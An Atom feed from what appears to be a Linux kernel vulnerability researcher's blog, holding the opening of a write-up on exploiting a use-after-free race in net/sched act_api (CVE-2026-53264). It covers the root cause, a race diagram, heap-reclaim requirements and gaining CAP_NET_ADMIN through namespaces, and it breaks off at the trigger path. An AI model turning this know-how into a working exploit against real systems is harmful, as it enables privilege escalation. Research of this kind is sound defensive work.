<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="https://b1n.io/feed_style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <tabi:metadata xmlns:tabi="https://github.com/welpo/tabi">
        <tabi:base_url>https://b1n.io</tabi:base_url>
        <tabi:separator>
            •
        </tabi:separator>
        <tabi:about_feeds>
            This is a web feed, also known as an Atom feed. Subscribe by copying the URL from the address bar into your newsreader. Visit About Feeds to learn more and get started. It's free.
        </tabi:about_feeds>
        <tabi:visit_the_site>
            Visit website
        </tabi:visit_the_site>
        <tabi:recent_posts>
            Recent posts
        </tabi:recent_posts>
        <tabi:last_updated_on>
            Updated on $DATE
        </tabi:last_updated_on>
        <tabi:default_theme>dark</tabi:default_theme>
        <tabi:post_listing_date>date</tabi:post_listing_date>
        <tabi:current_section>~/b1n</tabi:current_section>
    </tabi:metadata><link rel="extra-stylesheet" href="https://b1n.io/skins/mint.css?h=504215cf6bc10586b487" /><title>~/b1n</title>
        <subtitle>Linux kernel vulnerability researcher</subtitle>
    <link href="https://b1n.io/atom.xml" rel="self" type="application/atom+xml"/>
    <link href="https://b1n.io" rel="alternate" type="text/html"/>
    <generator uri="https://www.getzola.org/">Zola</generator><updated>2026-10-23T00:00:00+00:00</updated><id>https://b1n.io/atom.xml</id><entry xml:lang="en">
        <title>Exploiting CVE-2026-53264 with One Function</title>
        <published>2026-10-18T00:00:00+00:00</published>
        <updated>2026-10-23T00:00:00+00:00</updated>
        <author>
            <name>b1n</name>
        </author>
        <link rel="alternate" href="https://b1n.io/blog/cve-2026-53264/" type="text/html"/>
        <id>https://b1n.io/blog/cve-2026-53264/</id>
        
            <content type="html">&lt;p&gt;The Linux kernel’s net/sched: act_api subsystem contains a use-after-free vulnerability: the action release path violates the RCU lifetime rules and calls &lt;code&gt;kfree()&lt;/code&gt; to free the object directly.&lt;/p&gt;
&lt;p&gt;This creates a race window: after CPU A obtains a pointer to object A inside an RCU read-side critical section, CPU B frees object A before CPU A has left the critical section. CPU A then keeps accessing object A through the now-dangling pointer.&lt;/p&gt;
&lt;p&gt;Call the object corrupted by the use-after-free the &lt;code&gt;Victim Object&lt;/code&gt;, and the object that takes over its memory the &lt;code&gt;Reclaim Object&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;root-cause&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#root-cause&quot; aria-label=&quot;Anchor link for: root-cause&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Root Cause&lt;/h2&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L120&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; void&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; free_tcf&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tcf_chain &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;chain &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; rcu_dereference_protected&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;goto_chain&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	free_percpu&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;cpu_bstats&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	free_percpu&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;cpu_bstats_hw&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	free_percpu&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;cpu_qstats&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	tcf_set_action_cookie&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;user_cookie&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; NULL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (chain)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		tcf_chain_put_by_act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* kfree immediately */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	kfree&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;free_tcf()&lt;/code&gt; calls &lt;code&gt;kfree(p);&lt;/code&gt; directly.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L868&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_idr_check_alloc&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action_net &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; u32 &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; bind&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tcf_idrinfo &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;idrinfo &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; tn&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;idrinfo&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	int&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ret&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	u32 max&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;index) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/* RCU period start */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		rcu_read_lock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		p &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; idr_find&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;idrinfo&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;action_idr&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, *&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/* [1] race window start */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;IS_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;			/* This means that another process allocated&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;			 * index but did not assign the pointer yet.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;			 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;			rcu_read_unlock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			return&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;EAGAIN&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;p) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;			/* Empty slot, try to allocate it */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;			max &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;= *&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;			rcu_read_unlock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			goto&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; new&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/* [2] race window end */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;refcount_inc_not_zero&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tcfa_refcnt&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;			/* Action was deleted in parallel */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;			rcu_read_unlock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			return&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;EAGAIN&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (bind)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;			atomic_inc&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tcfa_bindcnt&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;		*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;a &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; p&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/* RCU period end */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		rcu_read_unlock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;p = idr_find(&amp;amp;idrinfo-&amp;gt;action_idr, *index);&lt;/code&gt; looks up &lt;code&gt;*index&lt;/code&gt; and returns the corresponding &lt;code&gt;struct tc_action *p;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;if (!refcount_inc_not_zero(&amp;amp;p-&amp;gt;tcfa_refcnt))&lt;/code&gt; checks that &lt;code&gt;p-&amp;gt;tcfa_refcnt&lt;/code&gt; is non-zero and otherwise returns an error.&lt;/p&gt;
&lt;p&gt;Normally, once &lt;code&gt;p&lt;/code&gt; has been freed, &lt;code&gt;p-&amp;gt;tcfa_refcnt&lt;/code&gt; is exactly 0. The race window therefore sits between &lt;code&gt;p = idr_find(&amp;amp;idrinfo-&amp;gt;action_idr, *index);&lt;/code&gt; and &lt;code&gt;if (!refcount_inc_not_zero(&amp;amp;p-&amp;gt;tcfa_refcnt))&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To bypass this check, the &lt;code&gt;Reclaim Object&lt;/code&gt; must be in place beforehand, overwriting &lt;code&gt;p-&amp;gt;tcfa_refcnt&lt;/code&gt; with a value greater than 0.&lt;/p&gt;
&lt;p&gt;Race sequence diagram:&lt;/p&gt;
&lt;noscript&gt;
    &lt;strong&gt;⚠️ JavaScript is required to render the diagram.&lt;/strong&gt;
&lt;/noscript&gt;
&lt;pre class=&quot;mermaid invertible-image&quot;&gt;
sequenceDiagram
    participant C0 as CPU 0: use
    participant C1 as CPU 1: free
    participant C2 as CPU 2: reclaim

    Note over C0: p = idr_find(&amp;idrinfo-&gt;action_idr, *index);

    Note over C1: kfree(p);

    Note over C2: reclaim and p-&gt;tcfa_refcnt &gt; 0

    Note over C0: if (!refcount_inc_not_zero(&amp;p-&gt;tcfa_refcnt))
&lt;/pre&gt;
&lt;h2 id=&quot;exploitation-requirements&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#exploitation-requirements&quot; aria-label=&quot;Anchor link for: exploitation-requirements&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Exploitation Requirements&lt;/h2&gt;
&lt;h3 id=&quot;rtnetlink&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#rtnetlink&quot; aria-label=&quot;Anchor link for: rtnetlink&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
rtnetlink&lt;/h3&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/core/rtnetlink.c#L6924&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; rtnetlink_rcv_msg&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlmsghdr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;nlh&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			     struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (kind &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; RTNL_KIND_GET &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;amp;&amp;amp; !&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;netlink_net_capable&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; CAP_NET_ADMIN&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;EPERM&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Userspace configures Qdiscs through rtnetlink, which requires the owner of the net namespace to hold &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An unprivileged user can create a user namespace, gain &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; inside it, and then create a net namespace to configure Qdiscs. This requires the Linux kernel to be built with &lt;code&gt;CONFIG_USER_NS&lt;/code&gt; and &lt;code&gt;CONFIG_NET_NS&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;vulnerability-trigger-path&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#vulnerability-trigger-path&quot; aria-label=&quot;Anchor link for: vulnerability-trigger-path&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Vulnerability Trigger Path&lt;/h3&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L2138&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tc_ctl_action&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlmsghdr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
